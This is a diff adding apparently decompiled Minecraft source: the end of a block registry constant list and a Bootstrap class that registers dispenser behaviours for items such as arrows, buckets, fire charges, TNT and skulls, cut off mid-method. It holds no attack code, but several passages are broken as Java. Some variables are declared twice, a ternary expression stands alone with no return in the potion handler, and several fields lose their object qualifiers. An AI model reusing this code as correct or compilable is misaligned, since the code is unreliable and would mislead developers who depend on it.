+  public static final Block lapis_block = getRegisteredBlock("lapis_block");
+  public static final Block dispenser = getRegisteredBlock("dispenser");
+  public static final Block sandstone = getRegisteredBlock("sandstone");
+  public static final Block noteblock = getRegisteredBlock("noteblock");
+  public static final Block bed = getRegisteredBlock("bed");
+  public static final Block golden_rail = getRegisteredBlock("golden_rail");
+  public static final Block detector_rail = getRegisteredBlock("detector_rail");
+  public static final BlockPistonBase sticky_piston = (BlockPistonBase)getRegisteredBlock("sticky_piston");
+  public static final Block web = getRegisteredBlock("web");
+  public static final BlockTallGrass tallgrass = (BlockTallGrass)getRegisteredBlock("tallgrass");
+  public static final BlockDeadBush deadbush = (BlockDeadBush)getRegisteredBlock("deadbush");
+  public static final BlockPistonBase piston = (BlockPistonBase)getRegisteredBlock("piston");
+  public static final BlockPistonExtension piston_head = (BlockPistonExtension)getRegisteredBlock("piston_head");
+  public static final Block wool = getRegisteredBlock("wool");
+  public static final BlockPistonMoving piston_extension = (BlockPistonMoving)getRegisteredBlock("piston_extension");
+  public static final BlockFlower yellow_flower = (BlockFlower)getRegisteredBlock("yellow_flower");
+  public static final BlockFlower red_flower = (BlockFlower)getRegisteredBlock("red_flower");
+  public static final BlockBush brown_mushroom = (BlockBush)getRegisteredBlock("brown_mushroom");
+  public static final BlockBush red_mushroom = (BlockBush)getRegisteredBlock("red_mushroom");
+  public static final Block gold_block = getRegisteredBlock("gold_block");
+  public static final Block iron_block = getRegisteredBlock("iron_block");
+  public static final BlockSlab double_stone_slab = (BlockSlab)getRegisteredBlock("double_stone_slab");
+  public static final BlockSlab stone_slab = (BlockSlab)getRegisteredBlock("stone_slab");
+  public static final Block brick_block = getRegisteredBlock("brick_block");
+  public static final Block tnt = getRegisteredBlock("tnt");
+  public static final Block bookshelf = getRegisteredBlock("bookshelf");
+  public static final Block mossy_cobblestone = getRegisteredBlock("mossy_cobblestone");
+  public static final Block obsidian = getRegisteredBlock("obsidian");
+  public static final Block torch = getRegisteredBlock("torch");
+  public static final BlockFire fire = (BlockFire)getRegisteredBlock("fire");
+  public static final Block mob_spawner = getRegisteredBlock("mob_spawner");
+  public static final Block oak_stairs = getRegisteredBlock("oak_stairs");
+  public static final BlockChest chest = (BlockChest)getRegisteredBlock("chest");
+  public static final BlockRedstoneWire redstone_wire = (BlockRedstoneWire)getRegisteredBlock("redstone_wire");
+  public static final Block diamond_ore = getRegisteredBlock("diamond_ore");
+  public static final Block diamond_block = getRegisteredBlock("diamond_block");
+  public static final Block crafting_table = getRegisteredBlock("crafting_table");
+  public static final Block wheat = getRegisteredBlock("wheat");
+  public static final Block farmland = getRegisteredBlock("farmland");
+  public static final Block furnace = getRegisteredBlock("furnace");
+  public static final Block lit_furnace = getRegisteredBlock("lit_furnace");
+  public static final Block standing_sign = getRegisteredBlock("standing_sign");
+  public static final Block oak_door = getRegisteredBlock("wooden_door");
+  public static final Block spruce_door = getRegisteredBlock("spruce_door");
+  public static final Block birch_door = getRegisteredBlock("birch_door");
+  public static final Block jungle_door = getRegisteredBlock("jungle_door");
+  public static final Block acacia_door = getRegisteredBlock("acacia_door");
+  public static final Block dark_oak_door = getRegisteredBlock("dark_oak_door");
+  public static final Block ladder = getRegisteredBlock("ladder");
+  public static final Block rail = getRegisteredBlock("rail");
+  public static final Block stone_stairs = getRegisteredBlock("stone_stairs");
+  public static final Block wall_sign = getRegisteredBlock("wall_sign");
+  public static final Block lever = getRegisteredBlock("lever");
+  public static final Block stone_pressure_plate = getRegisteredBlock("stone_pressure_plate");
+  public static final Block iron_door = getRegisteredBlock("iron_door");
+  public static final Block wooden_pressure_plate = getRegisteredBlock("wooden_pressure_plate");
+  public static final Block redstone_ore = getRegisteredBlock("redstone_ore");
+  public static final Block lit_redstone_ore = getRegisteredBlock("lit_redstone_ore");
+  public static final Block unlit_redstone_torch = getRegisteredBlock("unlit_redstone_torch");
+  public static final Block redstone_torch = getRegisteredBlock("redstone_torch");
+  public static final Block stone_button = getRegisteredBlock("stone_button");
+  public static final Block snow_layer = getRegisteredBlock("snow_layer");
+  public static final Block ice = getRegisteredBlock("ice");
+  public static final Block snow = getRegisteredBlock("snow");
+  public static final BlockCactus cactus = (BlockCactus)getRegisteredBlock("cactus");
+  public static final Block clay = getRegisteredBlock("clay");
+  public static final BlockReed reeds = (BlockReed)getRegisteredBlock("reeds");
+  public static final Block jukebox = getRegisteredBlock("jukebox");
+  public static final Block oak_fence = getRegisteredBlock("fence");
+  public static final Block spruce_fence = getRegisteredBlock("spruce_fence");
+  public static final Block birch_fence = getRegisteredBlock("birch_fence");
+  public static final Block jungle_fence = getRegisteredBlock("jungle_fence");
+  public static final Block dark_oak_fence = getRegisteredBlock("dark_oak_fence");
+  public static final Block acacia_fence = getRegisteredBlock("acacia_fence");
+  public static final Block pumpkin = getRegisteredBlock("pumpkin");
+  public static final Block netherrack = getRegisteredBlock("netherrack");
+  public static final Block soul_sand = getRegisteredBlock("soul_sand");
+  public static final Block glowstone = getRegisteredBlock("glowstone");
+  public static final BlockPortal portal = (BlockPortal)getRegisteredBlock("portal");
+  public static final Block lit_pumpkin = getRegisteredBlock("lit_pumpkin");
+  public static final Block cake = getRegisteredBlock("cake");
+  public static final BlockRedstoneRepeater unpowered_repeater = (BlockRedstoneRepeater)getRegisteredBlock("unpowered_repeater");
+  public static final BlockRedstoneRepeater powered_repeater = (BlockRedstoneRepeater)getRegisteredBlock("powered_repeater");
+  public static final Block trapdoor = getRegisteredBlock("trapdoor");
+  public static final Block monster_egg = getRegisteredBlock("monster_egg");
+  public static final Block stonebrick = getRegisteredBlock("stonebrick");
+  public static final Block brown_mushroom_block = getRegisteredBlock("brown_mushroom_block");
+  public static final Block red_mushroom_block = getRegisteredBlock("red_mushroom_block");
+  public static final Block iron_bars = getRegisteredBlock("iron_bars");
+  public static final Block glass_pane = getRegisteredBlock("glass_pane");
+  public static final Block melon_block = getRegisteredBlock("melon_block");
+  public static final Block pumpkin_stem = getRegisteredBlock("pumpkin_stem");
+  public static final Block melon_stem = getRegisteredBlock("melon_stem");
+  public static final Block vine = getRegisteredBlock("vine");
+  public static final Block oak_fence_gate = getRegisteredBlock("fence_gate");
+  public static final Block spruce_fence_gate = getRegisteredBlock("spruce_fence_gate");
+  public static final Block birch_fence_gate = getRegisteredBlock("birch_fence_gate");
+  public static final Block jungle_fence_gate = getRegisteredBlock("jungle_fence_gate");
+  public static final Block dark_oak_fence_gate = getRegisteredBlock("dark_oak_fence_gate");
+  public static final Block acacia_fence_gate = getRegisteredBlock("acacia_fence_gate");
+  public static final Block brick_stairs = getRegisteredBlock("brick_stairs");
+  public static final Block stone_brick_stairs = getRegisteredBlock("stone_brick_stairs");
+  public static final BlockMycelium mycelium = (BlockMycelium)getRegisteredBlock("mycelium");
+  public static final Block waterlily = getRegisteredBlock("waterlily");
+  public static final Block nether_brick = getRegisteredBlock("nether_brick");
+  public static final Block nether_brick_fence = getRegisteredBlock("nether_brick_fence");
+  public static final Block nether_brick_stairs = getRegisteredBlock("nether_brick_stairs");
+  public static final Block nether_wart = getRegisteredBlock("nether_wart");
+  public static final Block enchanting_table = getRegisteredBlock("enchanting_table");
+  public static final Block brewing_stand = getRegisteredBlock("brewing_stand");
+  public static final BlockCauldron cauldron = (BlockCauldron)getRegisteredBlock("cauldron");
+  public static final Block end_portal = getRegisteredBlock("end_portal");
+  public static final Block end_portal_frame = getRegisteredBlock("end_portal_frame");
+  public static final Block end_stone = getRegisteredBlock("end_stone");
+  public static final Block dragon_egg = getRegisteredBlock("dragon_egg");
+  public static final Block redstone_lamp = getRegisteredBlock("redstone_lamp");
+  public static final Block lit_redstone_lamp = getRegisteredBlock("lit_redstone_lamp");
+  public static final BlockSlab double_wooden_slab = (BlockSlab)getRegisteredBlock("double_wooden_slab");
+  public static final BlockSlab wooden_slab = (BlockSlab)getRegisteredBlock("wooden_slab");
+  public static final Block cocoa = getRegisteredBlock("cocoa");
+  public static final Block sandstone_stairs = getRegisteredBlock("sandstone_stairs");
+  public static final Block emerald_ore = getRegisteredBlock("emerald_ore");
+  public static final Block ender_chest = getRegisteredBlock("ender_chest");
+  public static final BlockTripWireHook tripwire_hook = (BlockTripWireHook)getRegisteredBlock("tripwire_hook");
+  public static final Block tripwire = getRegisteredBlock("tripwire");
+  public static final Block emerald_block = getRegisteredBlock("emerald_block");
+  public static final Block spruce_stairs = getRegisteredBlock("spruce_stairs");
+  public static final Block birch_stairs = getRegisteredBlock("birch_stairs");
+  public static final Block jungle_stairs = getRegisteredBlock("jungle_stairs");
+  public static final Block command_block = getRegisteredBlock("command_block");
+  public static final BlockBeacon beacon = (BlockBeacon)getRegisteredBlock("beacon");
+  public static final Block cobblestone_wall = getRegisteredBlock("cobblestone_wall");
+  public static final Block flower_pot = getRegisteredBlock("flower_pot");
+  public static final Block carrots = getRegisteredBlock("carrots");
+  public static final Block potatoes = getRegisteredBlock("potatoes");
+  public static final Block wooden_button = getRegisteredBlock("wooden_button");
+  public static final BlockSkull skull = (BlockSkull)getRegisteredBlock("skull");
+  public static final Block anvil = getRegisteredBlock("anvil");
+  public static final Block trapped_chest = getRegisteredBlock("trapped_chest");
+  public static final Block light_weighted_pressure_plate = getRegisteredBlock("light_weighted_pressure_plate");
+  public static final Block heavy_weighted_pressure_plate = getRegisteredBlock("heavy_weighted_pressure_plate");
+  public static final BlockRedstoneComparator unpowered_comparator = (BlockRedstoneComparator)getRegisteredBlock("unpowered_comparator");
+  public static final BlockRedstoneComparator powered_comparator = (BlockRedstoneComparator)getRegisteredBlock("powered_comparator");
+  public static final BlockDaylightDetector daylight_detector = (BlockDaylightDetector)getRegisteredBlock("daylight_detector");
+  public static final BlockDaylightDetector daylight_detector_inverted = (BlockDaylightDetector)getRegisteredBlock("daylight_detector_inverted");
+  public static final Block redstone_block = getRegisteredBlock("redstone_block");
+  public static final Block quartz_ore = getRegisteredBlock("quartz_ore");
+  public static final BlockHopper hopper = (BlockHopper)getRegisteredBlock("hopper");
+  public static final Block quartz_block = getRegisteredBlock("quartz_block");
+  public static final Block quartz_stairs = getRegisteredBlock("quartz_stairs");
+  public static final Block activator_rail = getRegisteredBlock("activator_rail");
+  public static final Block dropper = getRegisteredBlock("dropper");
+  public static final Block stained_hardened_clay = getRegisteredBlock("stained_hardened_clay");
+  public static final Block barrier = getRegisteredBlock("barrier");
+  public static final Block iron_trapdoor = getRegisteredBlock("iron_trapdoor");
+  public static final Block hay_block = getRegisteredBlock("hay_block");
+  public static final Block carpet = getRegisteredBlock("carpet");
+  public static final Block hardened_clay = getRegisteredBlock("hardened_clay");
+  public static final Block coal_block = getRegisteredBlock("coal_block");
+  public static final Block packed_ice = getRegisteredBlock("packed_ice");
+  public static final Block acacia_stairs = getRegisteredBlock("acacia_stairs");
+  public static final Block dark_oak_stairs = getRegisteredBlock("dark_oak_stairs");
+  public static final Block slime_block = getRegisteredBlock("slime");
+  public static final BlockDoublePlant double_plant = (BlockDoublePlant)getRegisteredBlock("double_plant");
+  public static final BlockStainedGlass stained_glass = (BlockStainedGlass)getRegisteredBlock("stained_glass");
+  public static final BlockStainedGlassPane stained_glass_pane = (BlockStainedGlassPane)getRegisteredBlock("stained_glass_pane");
+  public static final Block prismarine = getRegisteredBlock("prismarine");
+  public static final Block sea_lantern = getRegisteredBlock("sea_lantern");
+  public static final Block standing_banner = getRegisteredBlock("standing_banner");
+  public static final Block wall_banner = getRegisteredBlock("wall_banner");
+  public static final Block red_sandstone = getRegisteredBlock("red_sandstone");
+  public static final Block red_sandstone_stairs = getRegisteredBlock("red_sandstone_stairs");
+  public static final BlockSlab double_stone_slab2 = (BlockSlab)getRegisteredBlock("double_stone_slab2");
+  public static final BlockSlab stone_slab2 = (BlockSlab)getRegisteredBlock("stone_slab2");
+  private static final String __OBFID = "CL_00000204";
+}
diff --git a/src/minecraft/net/minecraft/init/Bootstrap.java b/src/minecraft/net/minecraft/init/Bootstrap.java
new file mode 100644
index 0000000..1be881e
--- /dev/null
+++ b/src/minecraft/net/minecraft/init/Bootstrap.java
@@ -0,0 +1,577 @@
+package net.minecraft.init;
+
+import com.mojang.authlib.GameProfile;
+import java.io.PrintStream;
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockCommandBlock;
+import net.minecraft.block.BlockDispenser;
+import net.minecraft.block.BlockFire;
+import net.minecraft.block.BlockLiquid;
+import net.minecraft.block.BlockPumpkin;
+import net.minecraft.block.BlockSkull;
+import net.minecraft.block.BlockTNT;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.dispenser.BehaviorDefaultDispenseItem;
+import net.minecraft.dispenser.BehaviorProjectileDispense;
+import net.minecraft.dispenser.IBehaviorDispenseItem;
+import net.minecraft.dispenser.IBlockSource;
+import net.minecraft.dispenser.IPosition;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLiving;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.IProjectile;
+import net.minecraft.entity.item.EntityBoat;
+import net.minecraft.entity.item.EntityExpBottle;
+import net.minecraft.entity.item.EntityFireworkRocket;
+import net.minecraft.entity.item.EntityTNTPrimed;
+import net.minecraft.entity.projectile.EntityArrow;
+import net.minecraft.entity.projectile.EntityEgg;
+import net.minecraft.entity.projectile.EntityPotion;
+import net.minecraft.entity.projectile.EntitySmallFireball;
+import net.minecraft.entity.projectile.EntitySnowball;
+import net.minecraft.item.EnumDyeColor;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemBlock;
+import net.minecraft.item.ItemBucket;
+import net.minecraft.item.ItemDye;
+import net.minecraft.item.ItemMonsterPlacer;
+import net.minecraft.item.ItemPotion;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.nbt.NBTUtil;
+import net.minecraft.stats.StatList;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.tileentity.TileEntityDispenser;
+import net.minecraft.tileentity.TileEntitySkull;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.LoggingPrintStream;
+import net.minecraft.util.RegistryDefaulted;
+import net.minecraft.world.World;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class Bootstrap
+{
+  private static final PrintStream SYSOUT = System.out;
+  
+
+  private static boolean alreadyRegistered = false;
+  private static final Logger LOGGER = LogManager.getLogger();
+  
+  private static final String __OBFID = "CL_00001397";
+  
+  public Bootstrap() {}
+  
+  public static boolean isRegistered()
+  {
+    return alreadyRegistered;
+  }
+  
+  static void registerDispenserBehaviors()
+  {
+    BlockDispenser.dispenseBehaviorRegistry.putObject(Items.arrow, new BehaviorProjectileDispense()
+    {
+      private static final String __OBFID = "CL_00001398";
+      
+      protected IProjectile getProjectileEntity(World worldIn, IPosition position) {
+        EntityArrow var3 = new EntityArrow(worldIn, position.getX(), position.getY(), position.getZ());
+        canBePickedUp = 1;
+        return var3;
+      }
+    });
+    BlockDispenser.dispenseBehaviorRegistry.putObject(Items.egg, new BehaviorProjectileDispense()
+    {
+      private static final String __OBFID = "CL_00001404";
+      
+      protected IProjectile getProjectileEntity(World worldIn, IPosition position) {
+        return new EntityEgg(worldIn, position.getX(), position.getY(), position.getZ());
+      }
+    });
+    BlockDispenser.dispenseBehaviorRegistry.putObject(Items.snowball, new BehaviorProjectileDispense()
+    {
+      private static final String __OBFID = "CL_00001405";
+      
+      protected IProjectile getProjectileEntity(World worldIn, IPosition position) {
+        return new EntitySnowball(worldIn, position.getX(), position.getY(), position.getZ());
+      }
+    });
+    BlockDispenser.dispenseBehaviorRegistry.putObject(Items.experience_bottle, new BehaviorProjectileDispense()
+    {
+      private static final String __OBFID = "CL_00001406";
+      
+      protected IProjectile getProjectileEntity(World worldIn, IPosition position) {
+        return new EntityExpBottle(worldIn, position.getX(), position.getY(), position.getZ());
+      }
+      
+      protected float func_82498_a() {
+        return super.func_82498_a() * 0.5F;
+      }
+      
+      protected float func_82500_b() {
+        return super.func_82500_b() * 1.25F;
+      }
+    });
+    BlockDispenser.dispenseBehaviorRegistry.putObject(Items.potionitem, new IBehaviorDispenseItem()
+    {
+      private final BehaviorDefaultDispenseItem field_150843_b = new BehaviorDefaultDispenseItem();
+      private static final String __OBFID = "CL_00001407";
+      
+      public ItemStack dispense(IBlockSource source, final ItemStack stack) {
+        ItemPotion.isSplash(stack.getMetadata()) ? new BehaviorProjectileDispense()
+        {
+          private static final String __OBFID = "CL_00001408";
+          
+          protected IProjectile getProjectileEntity(World worldIn, IPosition position) {
+            return new EntityPotion(worldIn, position.getX(), position.getY(), position.getZ(), stack.copy());
+          }
+          
+          protected float func_82498_a() {
+            return super.func_82498_a() * 0.5F;
+          }
+          
+          protected float func_82500_b() {
+            return super.func_82500_b() * 1.25F;
+          }
+        }.dispense(source, stack) : field_150843_b.dispense(source, stack);
+      }
+    });
+    BlockDispenser.dispenseBehaviorRegistry.putObject(Items.spawn_egg, new BehaviorDefaultDispenseItem()
+    {
+      private static final String __OBFID = "CL_00001410";
+      
+      public ItemStack dispenseStack(IBlockSource source, ItemStack stack) {
+        EnumFacing var3 = BlockDispenser.getFacing(source.getBlockMetadata());
+        double var4 = source.getX() + var3.getFrontOffsetX();
+        double var6 = source.getBlockPos().getY() + 0.2F;
+        double var8 = source.getZ() + var3.getFrontOffsetZ();
+        Entity var10 = ItemMonsterPlacer.spawnCreature(source.getWorld(), stack.getMetadata(), var4, var6, var8);
+        
+        if (((var10 instanceof EntityLivingBase)) && (stack.hasDisplayName()))
+        {
+          ((EntityLiving)var10).setCustomNameTag(stack.getDisplayName());
+        }
+        
+        stack.splitStack(1);
+        return stack;
+      }
+    });
+    BlockDispenser.dispenseBehaviorRegistry.putObject(Items.fireworks, new BehaviorDefaultDispenseItem()
+    {
+      private static final String __OBFID = "CL_00001411";
+      
+      public ItemStack dispenseStack(IBlockSource source, ItemStack stack) {
+        EnumFacing var3 = BlockDispenser.getFacing(source.getBlockMetadata());
+        double var4 = source.getX() + var3.getFrontOffsetX();
+        double var6 = source.getBlockPos().getY() + 0.2F;
+        double var8 = source.getZ() + var3.getFrontOffsetZ();
+        EntityFireworkRocket var10 = new EntityFireworkRocket(source.getWorld(), var4, var6, var8, stack);
+        source.getWorld().spawnEntityInWorld(var10);
+        stack.splitStack(1);
+        return stack;
+      }
+      
+      protected void playDispenseSound(IBlockSource source) {
+        source.getWorld().playAuxSFX(1002, source.getBlockPos(), 0);
+      }
+    });
+    BlockDispenser.dispenseBehaviorRegistry.putObject(Items.fire_charge, new BehaviorDefaultDispenseItem()
+    {
+      private static final String __OBFID = "CL_00001412";
+      
+      public ItemStack dispenseStack(IBlockSource source, ItemStack stack) {
+        EnumFacing var3 = BlockDispenser.getFacing(source.getBlockMetadata());
+        IPosition var4 = BlockDispenser.getDispensePosition(source);
+        double var5 = var4.getX() + var3.getFrontOffsetX() * 0.3F;
+        double var7 = var4.getY() + var3.getFrontOffsetX() * 0.3F;
+        double var9 = var4.getZ() + var3.getFrontOffsetZ() * 0.3F;
+        World var11 = source.getWorld();
+        Random var12 = rand;
+        double var13 = var12.nextGaussian() * 0.05D + var3.getFrontOffsetX();
+        double var15 = var12.nextGaussian() * 0.05D + var3.getFrontOffsetY();
+        double var17 = var12.nextGaussian() * 0.05D + var3.getFrontOffsetZ();
+        var11.spawnEntityInWorld(new EntitySmallFireball(var11, var5, var7, var9, var13, var15, var17));
+        stack.splitStack(1);
+        return stack;
+      }
+      
+      protected void playDispenseSound(IBlockSource source) {
+        source.getWorld().playAuxSFX(1009, source.getBlockPos(), 0);
+      }
+    });
+    BlockDispenser.dispenseBehaviorRegistry.putObject(Items.boat, new BehaviorDefaultDispenseItem()
+    {
+      private final BehaviorDefaultDispenseItem field_150842_b = new BehaviorDefaultDispenseItem();
+      private static final String __OBFID = "CL_00001413";
+      
+      public ItemStack dispenseStack(IBlockSource source, ItemStack stack) {
+        EnumFacing var3 = BlockDispenser.getFacing(source.getBlockMetadata());
+        World var4 = source.getWorld();
+        double var5 = source.getX() + var3.getFrontOffsetX() * 1.125F;
+        double var7 = source.getY() + var3.getFrontOffsetY() * 1.125F;
+        double var9 = source.getZ() + var3.getFrontOffsetZ() * 1.125F;
+        BlockPos var11 = source.getBlockPos().offset(var3);
+        Material var12 = var4.getBlockState(var11).getBlock().getMaterial();
+        double var13;
+        double var13;
+        if (Material.water.equals(var12))
+        {
+          var13 = 1.0D;
+        }
+        else
+        {
+          if ((!Material.air.equals(var12)) || (!Material.water.equals(var4.getBlockState(var11.offsetDown()).getBlock().getMaterial())))
+          {
+            return field_150842_b.dispense(source, stack);
+          }
+          
+          var13 = 0.0D;
+        }
+        
+        EntityBoat var15 = new EntityBoat(var4, var5, var7 + var13, var9);
+        var4.spawnEntityInWorld(var15);
+        stack.splitStack(1);
+        return stack;
+      }
+      
+      protected void playDispenseSound(IBlockSource source) {
+        source.getWorld().playAuxSFX(1000, source.getBlockPos(), 0);
+      }
+    });
+    BehaviorDefaultDispenseItem var0 = new BehaviorDefaultDispenseItem()
+    {
+      private final BehaviorDefaultDispenseItem field_150841_b = new BehaviorDefaultDispenseItem();
+      private static final String __OBFID = "CL_00001399";
+      
+      public ItemStack dispenseStack(IBlockSource source, ItemStack stack) {
+        ItemBucket var3 = (ItemBucket)stack.getItem();
+        BlockPos var4 = source.getBlockPos().offset(BlockDispenser.getFacing(source.getBlockMetadata()));
+        
+        if (var3.func_180616_a(source.getWorld(), var4))
+        {
+          stack.setItem(Items.bucket);
+          stackSize = 1;
+          return stack;
+        }
+        
+
+        return field_150841_b.dispense(source, stack);
+      }
+      
+    };
+    BlockDispenser.dispenseBehaviorRegistry.putObject(Items.lava_bucket, var0);
+    BlockDispenser.dispenseBehaviorRegistry.putObject(Items.water_bucket, var0);
+    BlockDispenser.dispenseBehaviorRegistry.putObject(Items.bucket, new BehaviorDefaultDispenseItem()
+    {
+      private final BehaviorDefaultDispenseItem field_150840_b = new BehaviorDefaultDispenseItem();
+      private static final String __OBFID = "CL_00001400";
+      
+      public ItemStack dispenseStack(IBlockSource source, ItemStack stack) {
+        World var3 = source.getWorld();
+        BlockPos var4 = source.getBlockPos().offset(BlockDispenser.getFacing(source.getBlockMetadata()));
+        IBlockState var5 = var3.getBlockState(var4);
+        Block var6 = var5.getBlock();
+        Material var7 = var6.getMaterial();
+        Item var8;
+        Item var8;
+        if ((Material.water.equals(var7)) && ((var6 instanceof BlockLiquid)) && (((Integer)var5.getValue(BlockLiquid.LEVEL)).intValue() == 0))
+        {
+          var8 = Items.water_bucket;
+        }
+        else
+        {
+          if ((!Material.lava.equals(var7)) || (!(var6 instanceof BlockLiquid)) || (((Integer)var5.getValue(BlockLiquid.LEVEL)).intValue() != 0))
+          {
+            return super.dispenseStack(source, stack);
+          }
+          
+          var8 = Items.lava_bucket;
+        }
+        
+        var3.setBlockToAir(var4);
+        
+        if (--stackSize == 0)
+        {
+          stack.setItem(var8);
+          stackSize = 1;
+        }
+        else if (((TileEntityDispenser)source.getBlockTileEntity()).func_146019_a(new ItemStack(var8)) < 0)
+        {
+          field_150840_b.dispense(source, new ItemStack(var8));
+        }
+        
+        return stack;
+      }
+    });
+    BlockDispenser.dispenseBehaviorRegistry.putObject(Items.flint_and_steel, new BehaviorDefaultDispenseItem()
+    {
+      private boolean field_150839_b = true;
+      private static final String __OBFID = "CL_00001401";
+      
+      protected ItemStack dispenseStack(IBlockSource source, ItemStack stack) {
+        World var3 = source.getWorld();
+        BlockPos var4 = source.getBlockPos().offset(BlockDispenser.getFacing(source.getBlockMetadata()));
+        
+        if (var3.isAirBlock(var4))
+        {
+          var3.setBlockState(var4, Blocks.fire.getDefaultState());
+          
+          if (stack.attemptDamageItem(1, rand))
+          {
+            stackSize = 0;
+          }
+        }
+        else if (var3.getBlockState(var4).getBlock() == Blocks.tnt)
+        {
+          Blocks.tnt.onBlockDestroyedByPlayer(var3, var4, Blocks.tnt.getDefaultState().withProperty(BlockTNT.field_176246_a, Boolean.valueOf(true)));
+          var3.setBlockToAir(var4);
+        }
+        else
+        {
+          field_150839_b = false;
+        }
+        
+        return stack;
+      }
+      
+      protected void playDispenseSound(IBlockSource source) {
+        if (field_150839_b)
+        {
+          source.getWorld().playAuxSFX(1000, source.getBlockPos(), 0);
+        }
+        else
+        {
+          source.getWorld().playAuxSFX(1001, source.getBlockPos(), 0);
+        }
+      }
+    });
+    BlockDispenser.dispenseBehaviorRegistry.putObject(Items.dye, new BehaviorDefaultDispenseItem()
+    {
+      private boolean field_150838_b = true;
+      private static final String __OBFID = "CL_00001402";
+      
+      protected ItemStack dispenseStack(IBlockSource source, ItemStack stack) {
+        if (EnumDyeColor.WHITE == EnumDyeColor.func_176766_a(stack.getMetadata()))
+        {
+          World var3 = source.getWorld();
+          BlockPos var4 = source.getBlockPos().offset(BlockDispenser.getFacing(source.getBlockMetadata()));
+          
+          if (ItemDye.func_179234_a(stack, var3, var4))
+          {
+            if (!isRemote)
+            {
+              var3.playAuxSFX(2005, var4, 0);
+            }
+            
+          }
+          else {
+            field_150838_b = false;
+          }
+          
+          return stack;
+        }
+        
+
+        return super.dispenseStack(source, stack);
+      }
+      
+      protected void playDispenseSound(IBlockSource source)
+      {
+        if (field_150838_b)
+        {
+          source.getWorld().playAuxSFX(1000, source.getBlockPos(), 0);
+        }
+        else
+        {
+          source.getWorld().playAuxSFX(1001, source.getBlockPos(), 0);
+        }
+      }
+    });
+    BlockDispenser.dispenseBehaviorRegistry.putObject(Item.getItemFromBlock(Blocks.tnt), new BehaviorDefaultDispenseItem()
+    {
+      private static final String __OBFID = "CL_00001403";
+      
+      protected ItemStack dispenseStack(IBlockSource source, ItemStack stack) {
+        World var3 = source.getWorld();
+        BlockPos var4 = source.getBlockPos().offset(BlockDispenser.getFacing(source.getBlockMetadata()));
+        EntityTNTPrimed var5 = new EntityTNTPrimed(var3, var4.getX() + 0.5D, var4.getY(), var4.getZ() + 0.5D, null);
+        var3.spawnEntityInWorld(var5);
+        var3.playSoundAtEntity(var5, "game.tnt.primed", 1.0F, 1.0F);
+        stackSize -= 1;
+        return stack;
+      }
+    });
+    BlockDispenser.dispenseBehaviorRegistry.putObject(Items.skull, new BehaviorDefaultDispenseItem()
+    {
+      private boolean field_179240_b = true;
+      private static final String __OBFID = "CL_00002278";
+      
+      protected ItemStack dispenseStack(IBlockSource source, ItemStack stack) {
+        World var3 = source.getWorld();
+        EnumFacing var4 = BlockDispenser.getFacing(source.getBlockMetadata());
+        BlockPos var5 = source.getBlockPos().offset(var4);
+        BlockSkull var6 = Blocks.skull;
+        
+        if ((var3.isAirBlock(var5)) && (var6.func_176415_b(var3, var5, stack)))
+        {
+          if (!isRemote)
+          {
+            var3.setBlockState(var5, var6.getDefaultState().withProperty(BlockSkull.field_176418_a, EnumFacing.UP), 3);
+            TileEntity var7 = var3.getTileEntity(var5);
+            
+            if ((var7 instanceof TileEntitySkull))
+            {
+              if (stack.getMetadata() == 3)
+              {
+                GameProfile var8 = null;
+                
+                if (stack.hasTagCompound())
+                {
+                  NBTTagCompound var9 = stack.getTagCompound();
+                  
+                  if (var9.hasKey("SkullOwner", 10))
+                  {
+                    var8 = NBTUtil.readGameProfileFromNBT(var9.getCompoundTag("SkullOwner"));
+                  }
+                  else if (var9.hasKey("SkullOwner", 8))
+                  {
+                    var8 = new GameProfile(null, var9.getString("SkullOwner"));
+                  }
+                }
+                
+                ((TileEntitySkull)var7).setPlayerProfile(var8);
+              }
+              else
+              {
+                ((TileEntitySkull)var7).setType(stack.getMetadata());
+              }
+              
+              ((TileEntitySkull)var7).setSkullRotation(var4.getOpposite().getHorizontalIndex() * 4);
+              Blocks.skull.func_180679_a(var3, var5, (TileEntitySkull)var7);
+            }
+            
+            stackSize -= 1;
+          }
+          
+        }
+        else {
+          field_179240_b = false;
+        }
+        
+        return stack;
+      }
+      
+      protected void playDispenseSound(IBlockSource source) {
+        if (field_179240_b)
+        {
+          source.getWorld().playAuxSFX(1000, source.getBlockPos(), 0);
+        }
+        else
+        {
+          source.getWorld().playAuxSFX(1001, source.getBlockPos(), 0);
+        }
+      }
+    });
+    BlockDispenser.dispenseBehaviorRegistry.putObject(Item.getItemFromBlock(Blocks.pumpkin), new BehaviorDefaultDispenseItem()
+    {
+      private boolean field_179241_b = true;
+      private static final String __OBFID = "CL_00002277";
+      
+      protected ItemStack dispenseStack(IBlockSource source, ItemStack stack) {
+        World var3 = source.getWorld();
+        BlockPos var4 = source.getBlockPos().offset(BlockDispenser.getFacing(source.getBlockMetadata()));
+        BlockPumpkin var5 = (BlockPumpkin)Blocks.pumpkin;
+        
+        if ((var3.isAirBlock(var4)) && (var5.func_176390_d(var3, var4)))
+        {
+          if (!isRemote)
+          {
+            var3.setBlockState(var4, var5.getDefaultState(), 3);
+          }
+          
+          stackSize -= 1;
+        }
+        else
+        {
+          field_179241_b = false;
+        }
+        
+        return stack;
+      }
+      
+      protected void playDispenseSound(IBlockSource source) {
+        if (field_179241_b)
+        {
+          source.getWorld().playAuxSFX(1000, source.getBlockPos(), 0);
+        }
+        else
+        {
+          source.getWorld().playAuxSFX(1001, source.getBlockPos(), 0);
+        }
+      }
+    });
+    BlockDispenser.dispenseBehaviorRegistry.putObject(Item.getItemFromBlock(Blocks.command_block), new BehaviorDefaultDispenseItem()
+    {
+      private static final String __OBFID = "CL_00002276";
+      
+      protected ItemStack dispenseStack(IBlockSource source, ItemStack stack) {
+        World var3 = source.getWorld();
+        BlockPos var4 = source.getBlockPos().offset(BlockDispenser.getFacing(source.getBlockMetadata()));
+        
+        if (var3.isAirBlock(var4))
+        {
+          if (!isRemote)
+          {
